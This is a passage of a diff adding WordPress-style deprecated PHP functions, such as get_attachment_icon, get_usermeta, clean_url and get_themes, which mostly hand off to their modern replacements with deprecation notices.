+ * @see wp_get_attachment_image_src()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full image.
+ * @return array Icon URL and full path to file, respectively.
+ */
+function get_attachment_icon_src( $id = 0, $fullsize = false ) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_get_attachment_image_src()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
+
+	if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) {
+		// We have a thumbnail desired, specified and existing
+
+		$src_file = basename($src);
+	} elseif ( wp_attachment_is_image( $post->ID ) ) {
+		// We have an image without a thumbnail
+
+		$src = wp_get_attachment_url( $post->ID );
+		$src_file = & $file;
+	} elseif ( $src = wp_mime_type_icon( $post->ID ) ) {
+		// No thumb, no image. We'll look for a mime-related icon instead.
+
+		$icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' );
+		$src_file = $icon_dir . '/' . basename($src);
+	}
+
+	if ( !isset($src) || !$src )
+		return false;
+
+	return array($src, $src_file);
+}
+
+/**
+ * Retrieve HTML content of icon attachment image element.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_get_attachment_image()
+ * @see wp_get_attachment_image()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return false|string HTML content.
+ */
+function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_get_attachment_image()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) )
+		return false;
+
+	list($src, $src_file) = $src;
+
+	// Do we need to constrain the image?
+	if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) {
+
+		$imagesize = getimagesize($src_file);
+
+		if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) {
+			$actual_aspect = $imagesize[0] / $imagesize[1];
+			$desired_aspect = $max_dims[0] / $max_dims[1];
+
+			if ( $actual_aspect >= $desired_aspect ) {
+				$height = $actual_aspect * $max_dims[0];
+				$constraint = "width='{$max_dims[0]}' ";
+				$post->iconsize = array($max_dims[0], $height);
+			} else {
+				$width = $max_dims[1] / $actual_aspect;
+				$constraint = "height='{$max_dims[1]}' ";
+				$post->iconsize = array($width, $max_dims[1]);
+			}
+		} else {
+			$post->iconsize = array($imagesize[0], $imagesize[1]);
+			$constraint = '';
+		}
+	} else {
+		$constraint = '';
+	}
+
+	$post_title = esc_attr($post->post_title);
+
+	$icon = "<img src='$src' title='$post_title' alt='$post_title' $constraint/>";
+
+	return apply_filters( 'attachment_icon', $icon, $post->ID );
+}
+
+/**
+ * Retrieve HTML content of image element.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0
+ * @deprecated Use wp_get_attachment_image()
+ * @see wp_get_attachment_image()
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return false|string
+ */
+function get_attachment_innerHTML($id = 0, $fullsize = false, $max_dims = false) {
+	_deprecated_function( __FUNCTION__, '2.5', 'wp_get_attachment_image()' );
+	$id = (int) $id;
+	if ( !$post = get_post($id) )
+		return false;
+
+	if ( $innerHTML = get_attachment_icon($post->ID, $fullsize, $max_dims))
+		return $innerHTML;
+
+	$innerHTML = esc_attr($post->post_title);
+
+	return apply_filters('attachment_innerHTML', $innerHTML, $post->ID);
+}
+
+/**
+ * Retrieve bookmark data based on ID.
+ *
+ * @since 2.0.0
+ * @deprecated 2.1.0
+ * @deprecated Use get_bookmark()
+ * @see get_bookmark()
+ *
+ * @param int $bookmark_id ID of link
+ * @param string $output OBJECT, ARRAY_N, or ARRAY_A
+ * @return object|array
+ */
+function get_link($bookmark_id, $output = OBJECT, $filter = 'raw') {
+	_deprecated_function( __FUNCTION__, '2.1', 'get_bookmark()' );
+	return get_bookmark($bookmark_id, $output, $filter);
+}
+
+/**
+ * Performs esc_url() for database or redirect usage.
+ *
+ * @since 2.3.1
+ * @deprecated 2.8.0
+ * @deprecated Use esc_url_raw()
+ * @see esc_url_raw()
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols An array of acceptable protocols.
+ * @return string The cleaned URL.
+ */
+function sanitize_url( $url, $protocols = null ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'esc_url_raw()' );
+	return esc_url_raw( $url, $protocols );
+}
+
+/**
+ * Checks and cleans a URL.
+ *
+ * A number of characters are removed from the URL. If the URL is for displaying
+ * (the default behaviour) ampersands are also replaced. The 'clean_url' filter
+ * is applied to the returned cleaned URL.
+ *
+ * @since 1.2.0
+ * @deprecated 3.0.0
+ * @deprecated Use esc_url()
+ * @see Alias for esc_url()
+ *
+ * @param string $url The URL to be cleaned.
+ * @param array $protocols Optional. An array of acceptable protocols.
+ * @param string $context Optional. How the URL will be used. Default is 'display'.
+ * @return string The cleaned $url after the 'clean_url' filter is applied.
+ */
+function clean_url( $url, $protocols = null, $context = 'display' ) {
+	if ( $context == 'db' )
+		_deprecated_function( 'clean_url( $context = \'db\' )', '3.0', 'esc_url_raw()' );
+	else
+		_deprecated_function( __FUNCTION__, '3.0', 'esc_url()' );
+	return esc_url( $url, $protocols, $context );
+}
+
+/**
+ * Escape single quotes, specialchar double quotes, and fix line endings.
+ *
+ * The filter 'js_escape' is also applied by esc_js()
+ *
+ * @since 2.0.4
+ * @deprecated 2.8.0
+ * @deprecated Use esc_js()
+ * @see esc_js()
+ *
+ * @param string $text The text to be escaped.
+ * @return string Escaped text.
+ */
+function js_escape( $text ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'esc_js()' );
+	return esc_js( $text );
+}
+
+/**
+ * Escaping for HTML blocks.
+ *
+ * @deprecated 2.8.0
+ * @deprecated Use esc_html()
+ * @see esc_html()
+ */
+function wp_specialchars( $string, $quote_style = ENT_NOQUOTES, $charset = false, $double_encode = false ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'esc_html()' );
+	if ( func_num_args() > 1 ) { // Maintain backwards compat for people passing additional args
+		$args = func_get_args();
+		return call_user_func_array( '_wp_specialchars', $args );
+	} else {
+		return esc_html( $string );
+	}
+}
+
+/**
+ * Escaping for HTML attributes.
+ *
+ * @since 2.0.6
+ * @deprecated 2.8.0
+ * @deprecated Use esc_attr()
+ * @see esc_attr()
+ *
+ * @param string $text
+ * @return string
+ */
+function attribute_escape( $text ) {
+	_deprecated_function( __FUNCTION__, '2.8', 'esc_attr()' );
+	return esc_attr( $text );
+}
+
+/**
+ * Register widget for sidebar with backwards compatibility.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
+ * Passes to {@link wp_register_sidebar_widget()} after argument list and
+ * backwards compatibility is complete.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use wp_register_sidebar_widget()
+ * @see wp_register_sidebar_widget()
+ *
+ * @param string|int $name Widget ID.
+ * @param callback $output_callback Run when widget is called.
+ * @param string $classname Classname widget option.
+ * @param mixed $params,... Widget parameters.
+ */
+function register_sidebar_widget($name, $output_callback, $classname = '') {
+	_deprecated_function( __FUNCTION__, '2.8', 'wp_register_sidebar_widget()' );
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($classname) && is_string($classname) )
+		$options['classname'] = $classname;
+	$params = array_slice(func_get_args(), 2);
+	$args = array($id, $name, $output_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_sidebar_widget', $args);
+}
+
+/**
+ * Alias of {@link wp_unregister_sidebar_widget()}.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use wp_unregister_sidebar_widget()
+ * @see wp_unregister_sidebar_widget()
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_sidebar_widget($id) {
+	_deprecated_function( __FUNCTION__, '2.8', 'wp_unregister_sidebar_widget()' );
+	return wp_unregister_sidebar_widget($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * Allows $name to be an array that accepts either three elements to grab the
+ * first element and the third for the name or just uses the first element of
+ * the array for the name.
+ *
+ * Passes to {@link wp_register_widget_control()} after the argument list has
+ * been compiled.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use wp_register_widget_control()
+ * @see wp_register_widget_control()
+ *
+ * @param int|string $name Sidebar ID.
+ * @param callback $control_callback Widget control callback to display and process form.
+ * @param int $width Widget width.
+ * @param int $height Widget height.
+ */
+function register_widget_control($name, $control_callback, $width = '', $height = '') {
+	_deprecated_function( __FUNCTION__, '2.8', 'wp_register_widget_control()' );
+	// Compat
+	if ( is_array($name) ) {
+		if ( count($name) == 3 )
+			$name = sprintf($name[0], $name[2]);
+		else
+			$name = $name[0];
+	}
+
+	$id = sanitize_title($name);
+	$options = array();
+	if ( !empty($width) )
+		$options['width'] = $width;
+	if ( !empty($height) )
+		$options['height'] = $height;
+	$params = array_slice(func_get_args(), 4);
+	$args = array($id, $name, $control_callback, $options);
+	if ( !empty($params) )
+		$args = array_merge($args, $params);
+
+	call_user_func_array('wp_register_widget_control', $args);
+}
+
+/**
+ * Alias of {@link wp_unregister_widget_control()}.
+ *
+ * @since 2.2.0
+ * @deprecated 2.8.0
+ * @deprecated Use wp_unregister_widget_control()
+ * @see wp_unregister_widget_control()
+ *
+ * @param int|string $id Widget ID.
+ */
+function unregister_widget_control($id) {
+	_deprecated_function( __FUNCTION__, '2.8', 'wp_unregister_widget_control()' );
+	return wp_unregister_widget_control($id);
+}
+
+/**
+ * Remove user meta data.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0
+ * @deprecated Use delete_user_meta()
+ * @see delete_user_meta()
+ *
+ * @param int $user_id User ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True deletion completed and false if user_id is not a number.
+ */
+function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'delete_user_meta()' );
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	if ( is_array($meta_value) || is_object($meta_value) )
+		$meta_value = serialize($meta_value);
+	$meta_value = trim( $meta_value );
+
+	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	if ( $cur && $cur->umeta_id )
+		do_action( 'delete_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	if ( ! empty($meta_value) )
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) );
+	else
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	clean_user_cache( $user_id );
+	wp_cache_delete( $user_id, 'user_meta' );
+
+	if ( $cur && $cur->umeta_id )
+		do_action( 'deleted_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	return true;
+}
+
+/**
+ * Retrieve user metadata.
+ *
+ * If $user_id is not a number, then the function will fail over with a 'false'
+ * boolean return value. Other returned values depend on whether there is only
+ * one item to be returned, which be that single item type. If there is more
+ * than one metadata value, then it will be list of metadata values.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0
+ * @deprecated Use get_user_meta()
+ * @see get_user_meta()
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Optional. Metadata key.
+ * @return mixed
+ */
+function get_usermeta( $user_id, $meta_key = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'get_user_meta()' );
+	global $wpdb;
+	$user_id = (int) $user_id;
+
+	if ( !$user_id )
+		return false;
+
+	if ( !empty($meta_key) ) {
+		$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+		$user = wp_cache_get($user_id, 'users');
+		// Check the cached user object
+		if ( false !== $user && isset($user->$meta_key) )
+			$metas = array($user->$meta_key);
+		else
+			$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+	} else {
+		$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) );
+	}
+
+	if ( empty($metas) ) {
+		if ( empty($meta_key) )
+			return array();
+		else
+			return '';
+	}
+
+	$metas = array_map('maybe_unserialize', $metas);
+
+	if ( count($metas) == 1 )
+		return $metas[0];
+	else
+		return $metas;
+}
+
+/**
+ * Update metadata of user.
+ *
+ * There is no need to serialize values, they will be serialized if it is
+ * needed. The metadata key can only be a string with underscores. All else will
+ * be removed.
+ *
+ * Will remove the metadata, if the meta value is empty.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0
+ * @deprecated Use update_user_meta()
+ * @see update_user_meta()
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True on successful update, false on failure.
+ */
+function update_usermeta( $user_id, $meta_key, $meta_value ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'update_user_meta()' );
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	/** @todo Might need fix because usermeta data is assumed to be already escaped */
+	if ( is_string($meta_value) )
+		$meta_value = stripslashes($meta_value);
+	$meta_value = maybe_serialize($meta_value);
+
+	if (empty($meta_value)) {
+		return delete_usermeta($user_id, $meta_key);
+	}
+
+	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	if ( $cur )
+		do_action( 'update_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	if ( !$cur )
+		$wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') );
+	else if ( $cur->meta_value != $meta_value )
+		$wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') );
+	else
+		return false;
+
+	clean_user_cache( $user_id );
+	wp_cache_delete( $user_id, 'user_meta' );
+
+	if ( !$cur )
+		do_action( 'added_usermeta', $wpdb->insert_id, $user_id, $meta_key, $meta_value );
+	else
+		do_action( 'updated_usermeta', $cur->umeta_id, $user_id, $meta_key, $meta_value );
+
+	return true;
+}
+
+/**
+ * Get users for the blog.
+ *
+ * For setups that use the multi-blog feature. Can be used outside of the
+ * multi-blog feature.
+ *
+ * @since 2.2.0
+ * @deprecated 3.1.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @uses $blog_id The Blog id of the blog for those that use more than one blog
+ *
+ * @param int $id Blog ID.
+ * @return array List of users that are part of that Blog ID
+ */
+function get_users_of_blog( $id = '' ) {
+	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );
+
+	global $wpdb, $blog_id;
+	if ( empty($id) )
+		$id = (int) $blog_id;
+	$blog_prefix = $wpdb->get_blog_prefix($id);
+	$users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$blog_prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" );
+	return $users;
+}
+
+/**
+ * Enable/disable automatic general feed link outputting.
+ *
+ * @since 2.8.0
+ * @deprecated 3.0.0
+ * @deprecated Use add_theme_support( 'automatic-feed-links' )
+ *
+ * @param boolean $add Optional, default is true. Add or remove links. Defaults to true.
+ */
+function automatic_feed_links( $add = true ) {
+	_deprecated_function( __FUNCTION__, '3.0', "add_theme_support( 'automatic-feed-links' )" );
+
+	if ( $add )
+		add_theme_support( 'automatic-feed-links' );
+	else
+		remove_action( 'wp_head', 'feed_links_extra', 3 ); // Just do this yourself in 3.0+
+}
+
+/**
+ * Retrieve user data based on field.
+ *
+ * @since 1.5.0
+ * @deprecated 3.0.0
+ * @deprecated Use get_the_author_meta()
+ * @see get_the_author_meta()
+ */
+function get_profile( $field, $user = false ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'get_the_author_meta()' );
+	if ( $user ) {
+		$user = get_user_by( 'login', $user );
+		$user = $user->ID;
+	}
+	return get_the_author_meta( $field, $user );
+}
+
+/**
+ * Number of posts user has written.
+ *
+ * @since 0.71
+ * @deprecated 3.0.0
+ * @deprecated Use count_user_posts()
+ * @see count_user_posts()
+ */
+function get_usernumposts( $userid ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'count_user_posts()' );
+	return count_user_posts( $userid );
+}
+
+/**
+ * Callback used to change %uXXXX to &#YYY; syntax
+ *
+ * @since 2.8.0
+ * @access private
+ * @deprecated 3.0.0
+ *
+ * @param array $matches Single Match
+ * @return string An HTML entity
+ */
+function funky_javascript_callback($matches) {
+	return "&#".base_convert($matches[1],16,10).";";
+}
+
+/**
+ * Fixes JavaScript bugs in browsers.
+ *
+ * Converts unicode characters to HTML numbered entities.
+ *
+ * @since 1.5.0
+ * @uses $is_macIE
+ * @uses $is_winIE
+ * @deprecated 3.0.0
+ *
+ * @param string $text Text to be made safe.
+ * @return string Fixed text.
+ */
+function funky_javascript_fix($text) {
+	_deprecated_function( __FUNCTION__, '3.0' );
+	// Fixes for browsers' JavaScript bugs.
+	global $is_macIE, $is_winIE;
+
+	if ( $is_winIE || $is_macIE )
+		$text =  preg_replace_callback("/\%u([0-9A-F]{4,4})/",
+					"funky_javascript_callback",
+					$text);
+
+	return $text;
+}
+
+/**
+ * Checks that the taxonomy name exists.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0
+ * @deprecated Use taxonomy_exists()
+ * @see taxonomy_exists()
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy exists.
+ */
+function is_taxonomy( $taxonomy ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'taxonomy_exists()' );
+	return taxonomy_exists( $taxonomy );
+}
+
+/**
+ * Check if Term exists.
+ *
+ * @since 2.3.0
+ * @deprecated 3.0.0
+ * @deprecated Use term_exists()
+ * @see term_exists()
+ *
+ * @param int|string $term The term to check
+ * @param string $taxonomy The taxonomy name to use
+ * @param int $parent ID of parent term under which to confine the exists search.
+ * @return mixed Get the term id or Term Object, if exists.
+ */
+function is_term( $term, $taxonomy = '', $parent = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'term_exists()' );
+	return term_exists( $term, $taxonomy, $parent );
+}
+
+/**
+ * Is the current admin page generated by a plugin?
+ *
+ * @since 1.5.0
+ * @deprecated 3.1.0
+ * @deprecated Use global $plugin_page and/or get_plugin_page_hookname() hooks.
+ *
+ * @global $plugin_page
+ *
+ * @return bool
+ */
+function is_plugin_page() {
+	_deprecated_function( __FUNCTION__, '3.1'  );
+
+	global $plugin_page;
+
+	if ( isset($plugin_page) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Update the categories cache.
+ *
+ * This function does not appear to be used anymore or does not appear to be
+ * needed. It might be a legacy function left over from when there was a need
+ * for updating the category cache.
+ *
+ * @since 1.5.0
+ * @deprecated 3.1.0
+ *
+ * @return bool Always return True
+ */
+function update_category_cache() {
+	_deprecated_function( __FUNCTION__, '3.1'  );
+
+	return true;
+}
+
+/**
+ * Check for PHP timezone support
+ *
+ * @since 2.9.0
+ * @deprecated 3.2.0
+ *
+ * @return bool
+ */
+function wp_timezone_supported() {
+	_deprecated_function( __FUNCTION__, '3.2' );
+
+	return true;
+}
+
+/**
+ * Display editor: TinyMCE, HTML, or both.
+ *
+ * @since 2.1.0
+ * @deprecated 3.3.0
+ * @deprecated Use wp_editor()
+ * @see wp_editor()
+ *
+ * @param string $content Textarea content.
+ * @param string $id Optional, default is 'content'. HTML ID attribute value.
+ * @param string $prev_id Optional, not used
+ * @param bool $media_buttons Optional, default is true. Whether to display media buttons.
+ * @param int $tab_index Optional, not used
+ */
+function the_editor($content, $id = 'content', $prev_id = 'title', $media_buttons = true, $tab_index = 2, $extended = true) {
+	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
+
+	wp_editor( $content, $id, array( 'media_buttons' => $media_buttons ) );
+	return;
+}
+
+/**
+ * Perform the query to get the $metavalues array(s) needed by _fill_user and _fill_many_users
+ *
+ * @since 3.0.0
+ * @deprecated 3.3.0
+ *
+ * @param array $ids User ID numbers list.
+ * @return array of arrays. The array is indexed by user_id, containing $metavalues object arrays.
+ */
+function get_user_metavalues($ids) {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	$objects = array();
+
+	$ids = array_map('intval', $ids);
+	foreach ( $ids as $id )
+		$objects[$id] = array();
+
+	$metas = update_meta_cache('user', $ids);
+
+	foreach ( $metas as $id => $meta ) {
+		foreach ( $meta as $key => $metavalues ) {
+			foreach ( $metavalues as $value ) {
+				$objects[$id][] = (object)array( 'user_id' => $id, 'meta_key' => $key, 'meta_value' => $value);
+			}
+		}
+	}
+
+	return $objects;
+}
+
+/**
+ * Sanitize every user field.
+ *
+ * If the context is 'raw', then the user object or array will get minimal santization of the int fields.
+ *
+ * @since 2.3.0
+ * @deprecated 3.3.0
+ *
+ * @param object|array $user The User Object or Array
+ * @param string $context Optional, default is 'display'. How to sanitize user fields.
+ * @return object|array The now sanitized User Object or Array (will be the same type as $user)
+ */
+function sanitize_user_object($user, $context = 'display') {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	if ( is_object($user) ) {
+		if ( !isset($user->ID) )
+			$user->ID = 0;
+		if ( !is_a( $user, 'WP_User' ) ) {
+			$vars = get_object_vars($user);
+			foreach ( array_keys($vars) as $field ) {
+				if ( is_string($user->$field) || is_numeric($user->$field) )
+					$user->$field = sanitize_user_field($field, $user->$field, $user->ID, $context);
+			}
+		}
+		$user->filter = $context;
+	} else {
+		if ( !isset($user['ID']) )
+			$user['ID'] = 0;
+		foreach ( array_keys($user) as $field )
+			$user[$field] = sanitize_user_field($field, $user[$field], $user['ID'], $context);
+		$user['filter'] = $context;
+	}
+
+	return $user;
+}
+
+/**
+ * Get boundary post relational link.
+ *
+ * Can either be start or end post relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in a same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ * @param bool $start Optional, default is true. Whether to display link to first or last post.
+ * @return string
+ */
+function get_boundary_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '', $start = true) {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	$posts = get_boundary_post($in_same_cat, $excluded_categories, $start);
+	// If there is no post stop.
+	if ( empty($posts) )
+		return;
+
+	// Even though we limited get_posts to return only 1 item it still returns an array of objects.
+	$post = $posts[0];
+
+	if ( empty($post->post_title) )
+		$post->post_title = $start ? __('First Post') : __('Last Post');
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post->ID);
+
+	$link = $start ? "<link rel='start' title='" : "<link rel='end' title='";
+	$link .= esc_attr($title);
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	$boundary = $start ? 'start' : 'end';
+	return apply_filters( "{$boundary}_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for the first post.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format.
+ * @param bool $in_same_cat Optional. Whether link should be in a same category.
+ * @param string $excluded_categories Optional. Excluded categories IDs.
+ */
+function start_post_rel_link($title = '%title', $in_same_cat = false, $excluded_categories = '') {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	echo get_boundary_post_rel_link($title, $in_same_cat, $excluded_categories, true);
+}
+
+/**
+ * Get site index relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @return string
+ */
+function get_index_rel_link() {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	$link = "<link rel='index' title='" . esc_attr( get_bloginfo( 'name', 'display' ) ) . "' href='" . esc_url( user_trailingslashit( get_bloginfo( 'url', 'display' ) ) ) . "' />\n";
+	return apply_filters( "index_rel_link", $link );
+}
+
+/**
+ * Display relational link for the site index.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ */
+function index_rel_link() {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	echo get_index_rel_link();
+}
+
+/**
+ * Get parent post relational link.
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ *
+ * @param string $title Optional. Link title format.
+ * @return string
+ */
+function get_parent_post_rel_link($title = '%title') {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	if ( ! empty( $GLOBALS['post'] ) && ! empty( $GLOBALS['post']->post_parent ) )
+		$post = get_post($GLOBALS['post']->post_parent);
+
+	if ( empty($post) )
+		return;
+
+	$date = mysql2date(get_option('date_format'), $post->post_date);
+
+	$title = str_replace('%title', $post->post_title, $title);
+	$title = str_replace('%date', $date, $title);
+	$title = apply_filters('the_title', $title, $post->ID);
+
+	$link = "<link rel='up' title='";
+	$link .= esc_attr( $title );
+	$link .= "' href='" . get_permalink($post) . "' />\n";
+
+	return apply_filters( "parent_post_rel_link", $link );
+}
+
+/**
+ * Display relational link for parent item
+ *
+ * @since 2.8.0
+ * @deprecated 3.3.0
+ */
+function parent_post_rel_link($title = '%title') {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	echo get_parent_post_rel_link($title);
+}
+
+/**
+ * Add the "Dashboard"/"Visit Site" menu.
+ *
+ * @since 3.2.0
+ * @deprecated 3.3.0
+ */
+function wp_admin_bar_dashboard_view_site_menu( $wp_admin_bar ) {
+	_deprecated_function( __FUNCTION__, '3.3' );
+
+	$user_id = get_current_user_id();
+
+	if ( 0 != $user_id ) {
+		if ( is_admin() )
+			$wp_admin_bar->add_menu( array( 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url() ) );
+		elseif ( is_multisite() )
+			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => get_dashboard_url( $user_id ) ) );
+		else
+			$wp_admin_bar->add_menu( array( 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url() ) );
+	}
+}
+
+/**
+ * Checks if the current user belong to a given blog.
+ *
+ * @since MU
+ * @deprecated 3.3.0
+ * @deprecated Use is_user_member_of_blog()
+ * @see is_user_member_of_blog()
+ *
+ * @param int $blog_id Blog ID
+ * @return bool True if the current users belong to $blog_id, false if not.
+ */
+function is_blog_user( $blog_id = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.3', 'is_user_member_of_blog()' );
+
+	return is_user_member_of_blog( get_current_user_id(), $blog_id );
+}
+
+/**
+ * Open the file handle for debugging.
+ *
+ * @since 0.71
+ * @deprecated Use error_log()
+ * @link http://www.php.net/manual/en/function.error-log.php
+ * @deprecated 3.4.0
+ */
+function debug_fopen( $filename, $mode ) {
+	_deprecated_function( __FUNCTION__, 'error_log()' );
+	return false;
+}
+
+/**
+ * Write contents to the file used for debugging.
+ *
+ * @since 0.71
+ * @deprecated Use error_log() instead.
+ * @link http://www.php.net/manual/en/function.error-log.php
+ * @deprecated 3.4.0
+ */
+function debug_fwrite( $fp, $string ) {
+	_deprecated_function( __FUNCTION__, 'error_log()' );
+	if ( ! empty( $GLOBALS['debug'] ) )
+		error_log( $string );
+}
+
+/**
+ * Close the debugging file handle.
+ *
+ * @since 0.71
+ * @deprecated Use error_log()
+ * @link http://www.php.net/manual/en/function.error-log.php
+ * @deprecated 3.4.0
+ */
+function debug_fclose( $fp ) {
+	_deprecated_function( __FUNCTION__, 'error_log()' );
+}
+
+/**
+ * Retrieve list of themes with theme data in theme directory.
+ *
+ * The theme is broken, if it doesn't have a parent theme and is missing either
+ * style.css and, or index.php. If the theme has a parent theme then it is
+ * broken, if it is missing style.css; index.php is optional.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0
+ * @deprecated Use wp_get_themes()
+ * @see wp_get_themes()
+ *
+ * @return array Theme list with theme data.
+ */
+function get_themes() {
+	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_themes()' );
+
+	global $wp_themes;
+	if ( isset( $wp_themes ) )
+		return $wp_themes;
+
+	$themes = wp_get_themes();
+	$wp_themes = array();
+
+	foreach ( $themes as $theme ) {
+		$name = $theme->get('Name');
+		if ( isset( $wp_themes[ $name ] ) )
+			$wp_themes[ $name . '/' . $theme->get_stylesheet() ] = $theme;
+		else
+			$wp_themes[ $name ] = $theme;
+	}
+
+	return $wp_themes;
+}
+
+/**
+ * Retrieve theme data.
+ *
+ * @since 1.5.0
+ * @deprecated 3.4.0
+ * @deprecated Use wp_get_theme()
+ * @see wp_get_theme()
+ *
+ * @param string $theme Theme name.
+ * @return array|null Null, if theme name does not exist. Theme data, if exists.
+ */
+function get_theme( $theme ) {
+	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme( $stylesheet )' );
+
+	$themes = get_themes();
+	if ( is_array( $themes ) && array_key_exists( $theme, $themes ) )
